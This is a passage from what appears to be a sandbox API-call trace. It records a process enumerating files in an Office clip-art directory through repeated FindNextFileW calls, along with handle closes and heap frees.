ftLastWriteTime.dwLowDateTime=0xab3c1d00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x115, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15155_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab3c1d00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xab3c1d00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x143, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15156_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f09b00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3f09b00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15184_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f09b00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3f09b00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15185_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6d4a00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac6d4a00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15301_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7332a00, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7332a00, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15302_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e24d100, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4e24d100, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21303_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0150b00, ftCreationTime.dwHighDateTime=0x1bd4f54, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf0150b00, ftLastWriteTime.dwHighDateTime=0x1bd4f54, nFileSizeHigh=0x0, nFileSizeLow=0x616, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21305_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf17ca00, ftCreationTime.dwHighDateTime=0x1bd4f53, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf17ca00, ftLastWriteTime.dwHighDateTime=0x1bd4f53, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21307_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56009300, ftCreationTime.dwHighDateTime=0x1bd4f53, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x56009300, ftLastWriteTime.dwHighDateTime=0x1bd4f53, nFileSizeHigh=0x0, nFileSizeLow=0xd1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21309_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d745b00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3d745b00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x901, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21311_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b120100, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3b120100, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x1a15, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21313_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x364d4d00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x364d4d00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21315_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb568300, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbb568300, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x11e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21318_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7128600, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa7128600, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21319_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97933d00, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97933d00, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x664, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21320_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b19a00, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85b19a00, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x9c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21321_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f5c3b00, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f5c3b00, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x4d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21322_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b9c600, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32b9c600, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x395, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21323_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30576c00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x30576c00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x395, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21324_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2df51200, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2df51200, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x5e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21325_.GIF", cAlternateFileName="")) returned 1 [0069.241] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dae8400, ftCreationTime.dwHighDateTime=0x1bd4f56, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1dae8400, ftLastWriteTime.dwHighDateTime=0x1bd4f56, nFileSizeHigh=0x0, nFileSizeLow=0x6f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21326_.GIF", cAlternateFileName="")) returned 1 [0069.242] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a618b00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2a618b00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x185, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21328_.GIF", cAlternateFileName="")) returned 1 [0069.242] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ff3100, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x27ff3100, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x1d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21330_.GIF", cAlternateFileName="")) returned 1 [0069.242] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x246baa00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x246baa00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x1f91, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21332_.GIF", cAlternateFileName="")) returned 1 [0069.242] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e75c900, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1e75c900, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x888, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21334_.GIF", cAlternateFileName="")) returned 1 [0069.242] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4465be00, ftCreationTime.dwHighDateTime=0x1bd4f48, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4465be00, ftLastWriteTime.dwHighDateTime=0x1bd4f48, nFileSizeHigh=0x0, nFileSizeLow=0xaeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21336_.GIF", cAlternateFileName="")) returned 1 [0069.242] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ae24200, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1ae24200, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21338_.GIF", cAlternateFileName="")) returned 1 [0069.242] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a537400, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbce14f00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7a537400, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21340_.GIF", cAlternateFileName="")) returned 1 [0069.242] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a89600, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa7a89600, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x46b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21348_.GIF", cAlternateFileName="")) returned 1 [0069.242] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5462cc00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5462cc00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x8e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21370_.GIF", cAlternateFileName="")) returned 1 [0069.242] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d9b3c00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8d9b3c00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21390_.GIF", cAlternateFileName="")) returned 1 [0069.242] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7546300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7546300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x3de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21413_.GIF", cAlternateFileName="")) returned 1 [0069.242] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd290b00, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd290b00, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x770, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21427_.GIF", cAlternateFileName="")) returned 1 [0069.242] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97bc3b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbcead480, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97bc3b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x11c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21448_.GIF", cAlternateFileName="")) returned 1 [0069.242] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b89da00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbced35e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5b89da00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21495_.GIF", cAlternateFileName="")) returned 1 [0069.242] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93911d00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcef9740, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x93911d00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x34d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21512_.GIF", cAlternateFileName="")) returned 1 [0069.242] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd4a4400, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcef9740, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4a4400, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x24e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21527_.GIF", cAlternateFileName="")) returned 1 [0069.242] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15814600, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbcf1f8a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x15814600, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x73d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21548_.GIF", cAlternateFileName="")) returned 1 [0069.242] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51d3ee00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51d3ee00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115855.GIF", cAlternateFileName="")) returned 1 [0069.242] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51d3ee00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51d3ee00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115856.GIF", cAlternateFileName="")) returned 1 [0069.242] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60220a00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x60220a00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115875.GIF", cAlternateFileName="")) returned 1 [0069.242] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60220a00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x60220a00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115876.GIF", cAlternateFileName="")) returned 1 [0069.242] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINES.DLL", cAlternateFileName="")) returned 1 [0069.242] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINES.DLL", cAlternateFileName="")) returned 0 [0069.242] GetLastError () returned 0x12 [0069.242] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.242] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.243] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0069.243] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.243] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.DLL", cAlternateFileName="")) returned 1 [0069.243] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156c5e00, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156c5e00, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x78450, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MMW", cAlternateFileName="")) returned 1 [0069.243] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: 